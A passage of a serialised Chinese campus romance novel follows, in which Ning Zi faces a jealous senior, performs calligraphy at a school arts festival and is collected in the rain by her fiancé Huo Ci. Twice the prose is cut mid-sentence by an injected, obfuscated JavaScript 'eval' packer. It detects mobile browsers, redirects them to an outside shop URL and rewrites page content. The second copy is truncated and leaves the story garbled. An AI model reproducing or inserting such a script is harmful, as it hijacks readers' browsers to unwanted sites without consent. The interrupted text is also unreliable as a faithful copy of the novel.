一开始宁姿专心吃面,没注意,直到叶丽佳忽然噤了声,偏了下脸,示意宁姿、董筱二人看旁边。这对情侣的颜值比较高,女生装扮时尚,身着露肩的修身款毛衣裙,妆容有些浓,更衬得巴掌小脸精致,眉眼锋利,气质显出分轻佻傲慢,正是张一妗。 宁姿三人因上午最后一节课下课后向任课老师提交下节课演讲的资料,所以来食堂的时间比较晚,大多数学生已经吃完饭离开了,食堂里空座位到处都是,张一妗和她男朋友绕了那么远的路坐到她们旁边那桌,显然有些刻意。 “还能是为了什么,炫耀交了新男友,想在宁姿面前扳回一城呗。”叶丽佳埋下头说悄悄话。 坐在张一妗对面的男生个子高,样貌算得上俊秀,然而从穿着到发型明显是经过精心打理的,一丝不苟,香水味浓郁,都飘到旁边宁姿那桌去了,看得出是个很重视外在形象的人。 叶丽佳压低声量说:“是谭景天学长,和张一妗一个班的。谭学长家里是做连锁美容院的,经济实力很强,虽然比不上霍亦辰,但也算是个富二代,还是比较高调那种。这两个人在一起算是般配。” 宁姿和董筱对这个话题都不大感兴趣,随意应了两声,话题不一会儿就转到下节课的演讲内容上了。 张一妗向来视宁姿为眼中钉,刚一进食堂就注意到她了,所以非拖着男友坐到旁边那桌去。于她而言,霍亦辰那边已经希望渺茫,不得不放弃,可她内心的不甘并未平息,反而转作对宁姿的怨愤。 整个用餐过程,张一妗没什么胃口,注意力完全被宁姿拉了过去,时不时瞟上一眼,发觉对方完全视她为空气,泰然自若吃面,心里更是宛如岩浆翻腾。她倏地一下站起身,朝隔壁桌走去,停在宁姿面前。 谭景天面带讶异地抬眼看过去。宁姿刚吃完煎蛋,本打算再喝口汤,结果头上忽然笼下一片阴影,于是放下筷子,仰起脸与她对视,目光一如既往沉静。 张一妗语带嘲讽道:“巧了,看到你在这里,特意来打声招呼。” 看着她挑衅的面庞,宁姿倍感心累,淡道:“我们的关系没到那么亲近。” “还以为经过这几次,我们之间怎么说也算是熟人了。”张一妗并不打算离开,自说自话指向坐在位置上的谭景天,“介绍一下,这是我的男朋友谭景天。” 谭景天一直注视她们所在的方向,觉察出气氛有些奇怪,没深究,见张一妗提到他,立即提起标准的笑容,骄傲地昂起脸,点了下头,自以为十分迷人,目光直直落在宁姿身上。 “景天,过来这边一起坐。”张一妗招呼他。 谭景天毫不犹豫端起两人的餐盘走了过去,同她一起落座,完全没询问宁姿三人意见的意思。宁姿的正对面坐着张一妗,原本的好胃口瞬间荡然无存。张一妗亲昵地挽住谭景天的手臂,面带炫耀地说:“景天的名字你们应该很耳熟。” 宁姿垂下睫毛,无所事事地把筷子尖埋入面汤搅动葱花,没打算搭理她。董筱担心地看向宁姿,叶丽佳最藏不住事,不悦地撇了下嘴。 谭景天是个自傲的人,直接顺着她的话说下去,“我的画《消失的白象》代表学校出赛,获得了第三届江城艺术竞赛美术类二等奖,开学动员大会时被张主任点名表彰过,你们应该还有印象。还有美术副楼大厅内那幅巨大的《浪潮》,我也参与了创作,大二只有两个名额,我就是其中一个。” 他介绍起自己的“丰功伟绩”就滔滔不绝,目光殷勤地投向宁姿,压下声调说:“宁姿学妹和我在后台见过,就是文创艺术评比那回,只不过没来得及说话,当时我被太多同学包围了,不过你应该对我印象深刻。” 宁姿实在不想理会他,为了场面不至于太过尴尬,礼貌地扯了下唇角,吭都没吭一声。 张一妗见谭景天对宁姿那么殷勤,活像只开屏的公孔雀,很不高兴。她一脸挑衅表情说:“景天确实特别优秀,不仅有优渥的家庭背景,个人形象和能力都出类拔萃。” 停顿了下,有意提到,“对了宁姿,你……还在和那个人交往吗?” 宁姿故意揣着明白装糊涂,“我不太清楚你口中的‘那个人’是指什么。” 张一妗笑了下,“不就是之前芳芳她们拍到和你一起的那个男人,看起来比我们大很多的社会青年,好像外貌和条件都不太行呢。” 宁姿没眼看她矫揉造作的样子,“我的男朋友确实已经毕业,比我年长几岁,至于你说的那些条件,我没觉得有任何不好。” “你又何必要嘴硬呢?我朋友她们可是看得清清楚楚,还拍了照的。你那个校外男友穿得破破烂烂,看起来不太讲卫生。”想说的讥讽言语一口气说了个畅快,张一妗才又假惺惺掩口,“我说得太多,惹你不开心了。其实这些都没有关系的,只要你自己喜欢就行了。” 一旁的叶丽佳也没心思吃饭了,直身反驳道:“学姐的朋友看错了吧?宁姿的男朋友我们大家都是见过的,不仅又高又帅,而且很优秀,自主创业,还……” 她话还没说完,就被张一妗打断,“现在社会上那帮男人坏心眼可多了,打着创业老板的名号对女生骗财骗色。” 一直没作声的董筱也憋不住了,“学姐,我认为你还是不要道听途说。另外,这是别人的私事,评价过多就是不尊重,知道的人认为学姐关心学妹,不知情的会以为你没有教养,那样对你的名声就不好了。” 张一妗斜起眼角睨了董筱一眼,不屑道:“你们三个是一个班的吧?我不过就是来打声招呼,顺便闲聊几句,这么大的帽子都给我扣上来了。再怎么说我也是大你们一届的学姐,你们班的人实在是太懂礼节了。” “我们班的学生专注学业,对一些弯弯绕绕的东西不太了解,学姐的关心还是请收回吧。”宁姿面无表情地说。 “我们吃好了,走吧。”董筱用胳膊肘撞了下宁姿,三人起身,端起餐具离开二食堂。 谭景天略有点刻意地扭过头去,目光追随宁姿的背影。张一妗总算是神气一回,喜悦难耐,胃口都好了些,夹起一块炸鸡送进嘴里。 · 四月中旬,学校里有一件大事,那就是校园文化艺术节的到来,除了实习的大四学长、学姐,其他年级每个班都要出一个节目,在文艺联欢会上演出。 建设三班负责组织筹备节目的人是新任班长的董筱,这事可令她愁得很。大学不比初高中,同学们对文化艺术节的热情度普遍不高,尤其是在清远,大家认为与其花时间精力准备什么文娱节目,不如多画两张设计稿。结果就是这事都张罗快一周了,只有可怜巴巴一个人报名,并且那位报名吹口琴的同学实则是个半吊子,只能吹最简单的曲目,还有孤零零一个口琴表演效果实在不太精彩。 找朋友们集思广益过后,董筱最后决定采用节目串烧的点子,用三个节目串联在一起,单个节目时间短,好处就是内容丰富,用来弥补专业技能上的不足。于是才报名兴趣班学爵士舞一个多月的叶丽佳被赶鸭子上架。叶丽佳连一支完整的舞都不会跳,本来是花式推脱不愿意的,结果在知道文成被董筱逼着报名男女对唱后,就无话可说了,毕竟董筱自己都舍生取义上台唱歌,还把一向不喜欢抛头露面的文成也推了上去,可见决心之坚定无可撼动。 节目算是初步搞定了,接下来就是加紧排练,赶在期限前最大限度提升质量,不要求节目效果多惊艳,只求看得过去,别出大差错。 在紧锣密鼓的排练准备下,校园文化艺术节很快来临。演出场地定在了二教负一楼的礼堂内,除建设系外,英语系、美术系都被安排在同一天下午表演。 最先上台的是英语系的学生,没有任何意外,他们准备的节目都和英语有关,英文曲目演唱、英文情景剧演出,内容丰富又流畅,看得董筱十分羡慕,毕竟她们建设系不能上台表演画设计图纸。英语系的学生演出全部结束后,就轮到建设系了。 宁姿提前买好了花坐在第一排观看,和观众们一起热烈鼓掌。 一二班的节目结束后,本该轮到董筱他们,美术系却不知因什么缘由插了一个名额,提前上台表演。登台演出者是张一妗,她身着水墨风的绿色舞服,外袍上以金色丝线绣出闪着光的水墨花草,环佩叮当。长发束作光滑的飞仙髻,嵌了许多精美饰品。她表演的节目是古典舞,举手投足间姿态魅惑,跳跃、旋舞、下腰……看得出基本功扎实。被美轮美奂的灯光一映,确有几分美感,可惜眼神显露太过,娇媚有余,灵气不足,便落俗平庸了。尽管如此,也已经算是上佳的节目。 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078176|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台里,叶丽佳有气无力地趴在栏杆上,十指蜷起,紧张得抠紧栏杆,口中喃喃,“没想到她竟然跳得那么好,现在我连动作都记不熟,彩排的时候还同手同脚了,拍子也漏了几次。” 董筱拍了拍她的手背,安慰道:“别想那么多,越想越害怕。她是她,咱们是咱们,不用管别人表现得怎么样,只要尽自己的力就可以了。” 坐在观众席的宁姿也察觉节目顺序有变化,来到后台找董筱几人,正好听到两人的对话,语气柔和地接着说:“董筱说得对,虽然你学跳舞的时间不长,但之前你一直坚持买每周的碟片看明星跳舞。你热爱爵士,存了很久的钱好不容易报名学习,不论最终呈现的效果怎么样,一定要尽力让观众们看见你这份赤城的热爱。” 听了两人的安慰,叶丽佳的呼吸总算是平复了,也有了点信心,垂下满是汗水的手,被两人一左一右握住。 台上,张一妗落下最后一个动作,整支舞就结束了。场内响起掌声,她态度傲慢地一扬手,随后大步下台,到了后台与宁姿错身而过时,刻意放缓脚步,“我谎称有急事,把节目调到你们前面,为的就是让你们看清楚,你们准备的节目根本就什么都不是。最好还是放弃表演的机会,否则上了台也是出丑丢脸。” 宁姿淡然一笑,“学姐的舞姿不差,然而我们的节目也是精心准备的,我对我的朋友们很有信心。” “是吗?那么我就拭目以待了。”张一妗轻蔑一笑,离开了。 叶丽佳气鼓鼓地盯着她的背影说:“这人怎么能讨人厌到这种地步?亏我以前不认识她的时候还夸过她漂亮,现在看来简直是瞎了眼。” “先别说她了,你们谁看到庾允了?他怎么还不来候场?马上就轮到我们上台了。”董筱焦急地四处张望,她口中的“庾允”就是报名吹口琴的那位同学。 台上传来主持人的声音,已经念出了班级和节目名称,董筱和文成对视一眼,眼中都写着“大事不妙”。 “你们先安心上台表演,找庾允的事情交给我。”宁姿推了董筱一下。 叶丽佳也跟着着急,对宁姿说:“离我上台还有一会儿,我和你一起去找。” “你就别去了,他们的对唱一结束,你马上就要登台,不能再出纰漏,就在这里安心候场。”说完话,一刻也不敢多停留,忙离开后台去找庾允。 台上,暗红色幕布被缓缓拉开,浅金色灯光逐渐亮起,穿着配套礼服的董筱、文成二人在光影下唱歌,身形有些般配。虽然都没有经过专业训练,但两人声线搭配悦耳,默契十足,并且越唱越从容。 台下的宁姿却无法从容,她跑遍了礼堂四方,问了许多人,始终没找到庾允。 对唱环节结束,董筱与文成向观众们深深鞠了一躬,而后携手下台。紧接着热闹轻松的伴奏音乐响起,轮到叶丽佳登台跳舞。没想到正式演出时,她的表现令人眼前一亮,即便动作细节依旧不到位,但卡点节奏和舞感都无可指摘,最引人入胜的是她青春洋溢的状态,本就是活泼开朗的性子,轻易地调动起现场氛围。这支舞的编舞偏向可爱类型,虽不如张一妗的古典舞技巧难度高,但音乐与动作都挺洗脑的,带动了不少观众跟着摆手,互动性极佳。 董筱和文成下台后没休息片刻,迅速赶来和宁姿会合。 “我去后台休息室和观众席我们班的位置都找过了,没人看见庾允。”宁姿皱眉道。 “刚才下台的时候接到了他的电话,说是吃坏肚子上吐下泻,人在卫生间里,恐怕无法上台表演了。”董筱说完,叹了声,“现在唯一的办法就是去掉他表演的那部分。” “可是这样时长不够。”文成愁眉紧锁。 董筱沉重点头,“是呀,但没有别的办法。” 宁姿一言不发,微垂视线,在思索什么。 “我现在就去跟主持人沟通,说明情况,免得台上失误闹笑话,之后再写报告向组委会道歉。”董筱刚转过身,手腕被宁姿拉住,回过身来看她。 宁姿轻声问:“我记得前几个月新年题福字的活动就是在这个礼堂举办的,对吧?” “没错。”董筱回答。 她又问:“服装间里应该还有备用的演出服?” “对,你问这些做什么?”董筱不明白。 宁姿轻快道:“不用取消表演了,我有办法。” “你?”董筱和文成都有些惊讶。 只见宁姿洁净的小脸上浮起点点笑意,温柔不失力量,莫名让人感到心里踏实了。 62. 第六十二章 灯光乍然熄灭,空阔的舞台上只剩漆黑一片。 叶丽佳带来的演出是欢快活泼的舞蹈,结束后突然间的沉寂令观众们不大适应。张一妗已换了便装,坐在观众席第一排,神色散漫又蔑然。坐在她身边的朋友说:“听说他们班节目出了问题,最后一个演出的人不见了。” 张一妗嗤笑一声,“临阵脱逃吧,还算有自知之明,反正也是不入流的演出,污染观众的眼睛。” 同一时间,后台的三人目光殷切投向台上,都有些不确定。 “宁姿真打算这么做?”叶丽佳弱弱问。 董筱回复,“你刚才不是都听到了吗?” 舞台正中央乍然亮起一束光,冲破了寂静的黑暗。随着古筝垫底的轻音乐舒缓流泻,尘埃仿若跳脱的精灵升升沉沉,柔光练成一条笔直清婉的浅金色长河,自高空坠下,神秘而壮丽。独有一束暧昧的顶光,从观众席望去,只隐约窥见一道纤细的身影,样貌是模糊的。 女子青丝松散挽起,头上绾着一支清透的白玉簪,素白的纱衣透光,柔美曲线若隐若现,其余装饰全无,反倒出尘脱俗,恍然间瞥去一眼,还以为是九天之上的仙子落下凡尘来。先前场内还有交头接耳的声音,此时骤然间变得静默一片,所有人都凝神屏息期盼着。 随着浅金色光线不断扩大,色彩更为浓烈,连绵浮动,洒下海潮般的粼粼光纹,碰触到女孩柔弱的肩头时,仿佛变得温柔,轻纱般柔和地罩在她身上,也照亮身后竖立的雪白宣纸。这时,观众们才看清女孩的容貌。 她微微仰面,面容晶莹,睫如长羽,眼中有种奇异的明亮神采。宁姿噙着婉约的微笑,执起案上的毛笔,蘸了墨,走向宣纸,单薄的脊背挺直,纱衣在鼓风机的作用下衣袂飘飘,少女身形灵动飘逸,整个人宛如风中秀竹,既柔弱又具有风骨,有种矛盾的美感。 “她是要画画,还是要表演书法?”台下有人猜测,下一秒答案揭晓。 宁姿抬起纤细的胳膊,落了墨,笔迹如云烟缥缈,层次推移,干湿错落,字迹间相互铺排靠拢,浓中有淡,恰如其分。虽说书法表演不如歌舞激烈、渲染气氛,但台上女子不论是外形、姿态还是举止都典雅无双,迷离的灯光、飞旋的尘埃、静默题字的女子……令观览者有穿越时空,来到古香古色的过往般的错觉。而这场安静的表演带给大家的并非只是视觉上的美感,还有灵魂上的震颤。 “是《太上老君说常清静经》。”坐在第一排的校领导认出,接着说,“这位女同学写的字体是楷书。” “不对,楷体的特点是端庄严谨,注重平稳与收敛,而她的这一手字潇洒飘逸、形神灵动、收放自如,更具充沛灵气,应是行书。”刚到礼堂不久,坐下观看节目的校长曹善点评道,“你看,她的笔锋少了抹锐气,多了分飞扬之气,是个人的特点,可见她内心坚定充实,字里融入了书法者自己的风骨。” “好啊!”观众席忽然爆发出一阵热烈的掌声,还有人忍不住高声称赞。 最后一笔落成,宁姿转回身,放下毛笔,朝观众席深深鞠了一躬,神色依然恬淡,扬唇轻笑,如画的眉眼跟着舒展,双眸熠熠生辉,灵秀得令人舍不得眨眼。 曹校长第一个站起身,接过话筒说:“《清静经》也是我平时喜欢读和写的作品,能让我静下心来,受益良多。我想问一问,你这一手好字是否有受过名家点拨?” 宁姿拿起话筒作答,“感谢曹校长对我的高度评价,我没有刻意跟名家学习过,不过是父亲醉心书法,小时候常带着我一起练字,后来就养成了习惯,心中浮躁时借书法静心。” 曹校长发自内心道:“这是我看过最有意思的节目,不论是从舞台呈现还是从内容来讲,这个节目都极具水准。我有一个不情之请,希望这位同学割爱把这幅墨宝献出来,将它挂在校园学生作品陈列墙上。” “荣幸之至。”宁姿笑容明媚。 场内再次爆发出猛烈的掌声,后台的董筱三人也激动不已,只有被彻底抢走风头的张一妗嫉恨不已,脸色都发绿了。 所有节目表演完后,今天的联欢会就算彻底落幕了。演出者们挤在后台换衣服、卸妆。宁姿对着镜头拿沾了卸妆油的化妆棉擦掉口红。叶丽佳挨在她身边感叹,“皮肤吹弹可破的,都不用上妆,随手抹个口红上台照样惊艳全场。” “我是时间不够用,只能披了衣服就冲上台。最近用的乳液确实很滋润,我明天带来,你试一试。” 节目大获成功,董筱也松了口气,说起话来有被大赦般的轻快,“今天惊艳全场的可不止宁姿的美貌,更是她一手好字,愿不愿意教一教我啊?” “没问题,只要你不嫌弃。” 董筱喜笑颜开,“丽佳是人证,你收了我这个徒弟,不许反悔。” “倒是出乎我的意料,你的歌声竟然那么美。”宁姿轻笑。 董筱不好意思了,“瞎唱的,是文成的声音太好听。” 站在一边的文成认真地看着她说:“今天你的歌声比以往任何一次彩排都要出彩。” 董筱脸一红,没接话。叶丽佳倒是吵嚷开了,“你们怎么都不夸我呀?” 宁姿笑着伸手点了下她圆润的鼻头,“你表演时观众的反应那么热烈,哪里还轮得到我们来夸?” “那倒是,我现在心还跳得很快呢。”叶丽佳有点可爱的小骄傲。 这时,张一妗走了过来,对宁姿说:“我是来通知今晚聚餐的,大家别忘了。” 宁姿立刻答道:“我就不去了。” “怎么,和男朋友有约吗?”张一妗不怀好意笑了笑,“聚餐是可以带家属的,不如把你的男朋友也叫来,让大家都认识一下。” “不必了,他不喜欢无意义的社交。” 张一妗嗤笑一声,“不愧是校长亲口夸赞过的人,态度就是硬气,看来是不把我们这些人放在眼里了。” 和她关系好的几个女生也走来帮腔—— “聚餐的事是一早就定好的,怎么就宁姿学妹一人那么特殊不肯参加?” “就是说呀,明天可是周末,今天晚上能有什么急事要处理?太不合群了,也不尊重人。” “三班的负责人是谁?聚餐这么大的事怎么不通知到人头上?” 听到这里,董筱面色露出尴尬。本来是没听说聚餐这事的,表演结束后董筱才知道是一早定好,刚才忙着还衣服和道具,连口水都没来得及喝,就把这事抛到脑后了。 她埋下脸正要开口道歉,宁姿忽然抓住她的手腕,抢话道:“我参加聚餐就是了,不用把事情搞得那么麻烦。” “只要你肯去,别的都好商量。”张一妗笑着回应,语气有些奇怪。 一大群学生从西校门出来,找到预订好的中餐厅聚餐,位置在包间里。或许是考虑到每位同学的口味有差异,酸甜苦辣各色菜式都上了,总有合适个人口味的。 宁姿胃口不佳,舀了一碗鸡汤埋头安静喝着。董筱面前放的刚好是几盘辣菜,她不太能吃辣,又不好意思转桌,只得一直挑盘子里的花生米吃。细心的文成看出来了,伸长胳膊夹了卤肉和清炒笋丝夹到她碗里。 “谢谢。”董筱小声说,唇角微微弯起来。 张一妗接到了她的男友谭景天,此时正走进包间。应当是刻意的,明明外面那桌空了好几个位置,两人却走到最角落宁姿那一桌加了两把椅子,整个用餐过程中,二人调笑不断,张一妗不时往男友碗里夹菜,说到什么有意思的事,笑着笑着就朝对方身上倒。谭景天只是配合她,表现得没有那么夸张,倒是好几次目光都往宁姿所在的方向瞟了去。几位和他们相熟的朋友不时拿两人起哄,闹嚷嚷的,与宁姿、董筱那方的静默形成鲜明反差,仿佛有一道隐形的界限一般。 井水不犯河水,没什么不好,偏有人主动挑事。张一妗先起了话头,“宁姿学妹真是深藏不露,今天这一手好字惊艳了我们所有人。” “略懂些皮毛罢了。”宁姿淡然回复。 “你不需要太谦虚了,只是之前你们班的节目好像准备得不是很顺利,为此董筱学妹没少担忧吧?宁姿学妹也真是的,怎么不早站出来说自己会书法呢?”张一妗的狐狸尾巴很快露出来,开始挑拨离间。 倒是董筱放下筷子,冷静反驳,“宁姿向来是一个低调又谦虚的人,况且在我们班的节目出现问题时,也是她第一个主动站出来救场。” 张一妗仍不肯罢休,换了个话题,“不是说过今晚聚餐允许带家属吗?怎么最后只有我一个人带了?宁姿学妹,怎么不把你的男朋友也叫来,介绍我们大家认识一下?” 与她交好的一个女生立马帮腔,“早就听说这个传说中的神秘男友了,可惜一直没机会见到本尊。” “他比较忙。”宁姿淡然作答。 “这话说的,再忙抽出空吃顿饭的时间总是有的,如果这都要拒绝,实在太不把你这个女朋友放在眼里了。”张一妗的朋友讽刺道。 另一个女生假意劝,实则讥笑接话说:“没准是人家宁姿学妹自己不愿意带男朋友来,免得上不了台面。” 张一妗心情大好,又转过头假惺惺安慰宁姿,“学姐们都是在开玩笑,你别放在心上。” 宁姿勾起唇角,“我从不把无关紧要的人说的话放在心上,太在意别人的人,活得实在太累了。” 这话一语双关,既表明了自己的态度,又暗讽她们这些人多管闲事,气氛一下子凝滞,几名女生脸色都不大好看。 叶丽佳拽了下文成的袖子,低声说:“你不是有霍辞的电话号码吗?” 文成有些迟疑,“得先问下宁姿本人的意思吧。” “她才懒得理会那些恶意,但我可忍不下去,就按我说的做。”叶丽佳的态度很坚决。 聚餐结束时,窗外降下了雨点,虽说雨势不算太大,在夜里被淋湿衣服也实在幽寒。一行人走到餐厅门口互相道别,周末住校的学生们两三人撑一把伞往离宿舍最近的校门走。董筱和文成平时周末都住校,现在却没打算走,宁姿奇怪地问:“你们俩不回学校住吗?” “我正好有事得去市里一趟。”董筱回答。 文成跟着说:“我也是。” “你俩一起?”宁姿想也不想,脱口而出。 惹得董筱和文成眼神碰触,触电般不自觉同时挪开。董筱支支吾吾解释,“不是,不是,没一起,只是巧合罢了。” 叶丽佳的去向倒不用多问,她周末要做兼职,提前一晚住到做家教那家的客房也是常事,方便第二天一早给学生上课。 一辆白色奔驰开了过来,轧过水坑,溅起水花,驾驶座车窗落下,谭景□□外探头,头发被发胶固定出精心设计的形状,挑了下眉。几名女生面露艳羡,“真好啊,好羡慕一妗有男朋友专车接送,不用像我们几个一样冒着大雨挤公交车。” “就是呀,好想坐顺风车。” 听着身边人你一言我一语的吹捧,张一妗内心受用,傲然走到宁姿面前,明知故问,“宁姿学妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍辞剪去了略长的头发,新发型干净利落,在隐约的光线下,一双深邃的眼睛沉净而明亮,如同被清冽的泉水浸过,又染上星河的光辉。原先阴郁沉顿的气质减弱,取而代之的是锋利又灼灼的锐气。 一时间所有人的目光都凝聚在他无可挑剔的脸上,这个男人如此突出,不论是外形、穿着还是开的车都令人移不开视线,把不远处的谭景天衬托得好像隐身了一样。 最激动的莫过于在场的女生们,随着霍辞撑伞步步靠近,她们不约而同放轻呼吸,心跳不自觉加快,都在暗暗期待着。霍辞先是走到张一妗面前,略缓下步伐。 张一妗抿了下唇,忽感心口一滞,双目含着期盼仰起脸露出一个自认为魅人的笑容,刚准备开口说话,霍辞冷淡的眼神从她脸上掠过,带了分毫无兴趣的冷刻,随后加快步伐走到宁姿面前停下,没有说话,第一件事是把手中的伞撑在她的头上。所有人看见这一幕,目瞪口呆,一时间没人发声,场面寂静,唯有调皮的雨点坠入水坑里发出细微的绽放声响。 他的声线略低,嗓音却融着柔意,“下雨了,也不知道主动打电话叫我来接你,还穿得这么单薄。你什么时候才能懂点事?” 这话音量不大,却清清楚楚传进在场每个人的耳中,所有人的反应都惊人一致,双眼微微睁大。 从这几句话不难猜出二人的关系。 宁姿觉得他今天真好看,目不转睛地欣赏未婚夫的新发型,站直身体,故意瞪眼说:“那么多人在呢,好歹给我留点面子。” 不能因为你今天特别帅就为所欲为,后半句被她吞了回去。 霍辞低低笑了声,面对她只有无奈。 “剪头发了,什么时候的事?怎么没告诉我?”宁姿问。 霍辞略有些局促地垂下目光,“看得惯吗?” “暂时有些不习惯。”见到他明显紧张的微表情,宁姿甜笑着补充道,“比以前更好看了,都有些看不够呢。” 这种当众秀恩爱的行为,宁姿做得很自然,霍辞也欣然接受。他觉得她就像一片洁净温柔的月光,散发着温润的光,一句夸赞就能照亮他的心间。 霍辞一只手撑伞,另一只手牵住她柔软的小手,握紧了,带她往车的方向走,伞也自然地倾向她那边,不让她被淋湿半根头发丝,不顾自己的肩头已沾了雨丝。旁若无人的,仿佛他的世界里只看得见她一个人。 就算对这种场面司空见惯的叶丽佳三人,也还是忍不住感慨,直到霍辞低沉的嗓音再度传来,这次是对他们说的,“文成,你们也快上车,谢谢你们通知我来接这个不省心的未婚妻。” “未婚妻”三个字一出,所有人又被震惊一次,传闻实在太荒谬了,宁姿的男朋友不仅不是传说中贫穷的社会青年,反而是有钱有颜的大佬,不仅如此,两个人还已经订婚了。 董筱和文成忙跟上了车,叶丽佳心里觉得十分爽快,故意跑到表情明显失控的张一妗身边酸言酸语一句,“那我们就不搭学姐的顺风车咯。”说完话,心满意足一笑,才蹦蹦跶跶上了车。 张一妗僵在原地,仿佛石化,就连谭景天按喇叭催她上车也无动于衷,感觉呼吸都困难。 也不知身后的谁说了一句,“到底是谁传出去说宁姿的男朋友很差劲的?明明那么优秀,比张一妗的还……” 话没说完,张一妗迅速转过头瞪去一眼,四周变得安静。 她牙根咬得发疼,心口像被石头砸过一样难受,身体在风雨中抖动。 63. 第六十三章 银色幽灵不仅外观大气,内部空间也很大,皮质座椅设计贴合人体受力,靠上去很舒服。叶丽佳三人坐在后座,半点不拥挤。 上车后的第一件事,霍辞分发保温的奶茶给大家,几人道谢接过。叶丽佳赞道:“宁姿的未婚夫不仅帅气多金,还细心体贴至极。救命,有了这么牛的参考标准,我怕是得单身一辈子了。” 霍辞笑着摇摇头,“宁姿有你们这样为她考虑的好友,我非常感激,否则真不放心把她一个人放在学校。” 宁姿懊悔起来,真该主动打电话叫他来接自己,眼下这种情况,估计他得念叨一路。她赶紧转移话题,谄媚地眨巴眼,“今天我们班的表演效果很棒,观众反响热烈。” “知道,你的字写得很好。” 宁姿惊讶了,“我怎么不知道你还能掐会算?” “是文成告诉我的,还拍了现场的照片传给我。” 她感慨,“原来我的朋友们不是我的朋友们,而是你霍辞的眼线。” “有理,我虽然人不在你们学校,可你却一直在我眼皮子底下。”他态度淡定。 宁姿只得撇了下嘴,“你可真是霸道。” “怪你自己是个让人不省心的。”霍辞现在斗嘴技能大幅提升,还伸手拧了下她细腻的鼻尖。宁姿皱了下鼻子,本想还嘴,眼角余光一瞥,注意到董筱三人脸上都是一副被秀到的表情,她后知后觉耳根一热,缩回身子坐端正,头转向窗边,觉得自己像一只被煮熟的虾子。 在脸皮厚这件事上,霍辞明显比她从容许多,坦然问后座三人,“你们去哪里?我规划一下路线。” “我回学校。”文成率先回答。 董筱也跟着说:“我也是。” 宁姿转过头问:“你们之前不是说要去市里吗?” “那是说谎的,张一妗故意找你不痛快,我们怎么放心先走?”董筱回答。 宁姿感到心头发暖,“谢谢你们这么照顾我。” 把董筱三人分别安全送达后,车上就只剩宁姿和霍辞两个人了,宁姿总忍不住看霍辞,看也看不够。 他摇摇头,叹道:“你再一直用这样炽热的目光盯着我看,我就忍不住想吻你了。” 这话非但吓不住她,反而令她有了小动作,敏捷地凑上前冲他的面颊啄了一下,狡黠笑道:“不客气。” 等霍辞打算反客为主时,她又迅速撤身,缩到角落里,表情骄傲到不行,目光依然黏在他脸上,“虽然以前就知道你好看,但原来的发型竟然封印了你大半的颜值。现在再看,我好像是捡到宝了呢。” 霍辞斜乜她一眼,“肤浅,难道你只是看中了我的皮囊?” “不止,你的皮囊、你的能力、你的财富、你的所有我都看中了,有时候不得不感叹我眼光真好。” 霍辞瞧她这厚脸皮的样子,忍不住伸手掐上她水嫩的脸颊,“表面上是夸我,实际上夸的全是你自己。” 宁姿笑得肆意又灵动,“怎么忽然想起换新发型?” “先敬皮囊再敬人,现在的圈子就是这么肤浅。我处于创业阶段,有时候不得不考虑这些,换一个更精神利落的形象,与人谈合作更容易成。” 宁姿点了下头,“有点道理,人都是视觉动物嘛,容易有先入为主的认知。你今天打扮得比平时隆重,是去过什么重要的社交场合吗?” “来接你之前,参加了一个酒会,结识了新的人脉。”霍辞回答,停顿片刻,声线低下,“我的合作伙伴罹患肺癌,打算撤资。” 宁姿吓到了,“怎么这么突然?” 霍辞摇了下头,说:“他说自己这几年只顾着挣钱,每天疲于奔命,忽略了身体健康,现在后悔了,之后打算去北京接受治疗。” 宁姿感到惋惜,“所以你可不许嫌我啰嗦,你的健康重于一切,要好好吃饭,乖乖睡觉,钱财什么的都是身外之物。” 霍辞轻笑,“我的未婚妻不是才说过喜欢我有财富吗?” “喜欢,但更喜欢你本人,你才是我最看重的。”宁姿斩钉截铁道。 霍辞用手轻轻拍了下她的发顶,“有你这句话,我一定不会让你失望,不论哪方面都让你满意。” 随后又温声说:“有件事我一直都在犹豫,有两个方向可以选择,一是继续做建材生意,二是转投房地产。建材行业我已经比较熟悉,有信心稳中求胜,而房地产业风口来了,带来了全新的机会,我也积攒了不少人脉,充满未知可能性,各有利弊。” 听到这里,宁姿的脑海中浮现出一些关键信息,上一世听闻霍辞就是在房地产业大获成功,从此风生水起,一跃登上江城建筑行业龙头宝座。她激动道:“投资房地产。” “好,就这么决定了。”霍辞想也不想,答道。 这下宁姿傻眼了,“这么草率的?我只是随口一说,你都不再多考虑一下吗?” 他的声音不轻不重,“没什么好考虑的,未来老婆的话得听。你放心,我会看准赛道不断前进,要做就争第一。” 宁姿小声道:“投入会非常大吧?有没有具体的想法?” “有,接下来一段时间我应该会非常忙碌,第一步是争取融资。” 宁姿很赞同,“那我就祝你旗开得胜。” 霍辞将她的下巴微微抬起,二人目光相接,他一字一顿道:“最重要的一步是耐心等待我们家大设计师毕业,然后千方百计把你收入麾下。” 宁姿笑着扬起眉梢,“想让我替你打工呀?那可得拿出诚意来。” “诚意十足,连老板本人都赔给你。”他抬眼,笑了起来。 · 一年光阴弹指间过去,宁姿顺利升作大二的学姐。 表妹钟荔荔也考入了清远,成为她的学妹。二人关系冷淡,没有刻意来往,在校园里很少遇见。 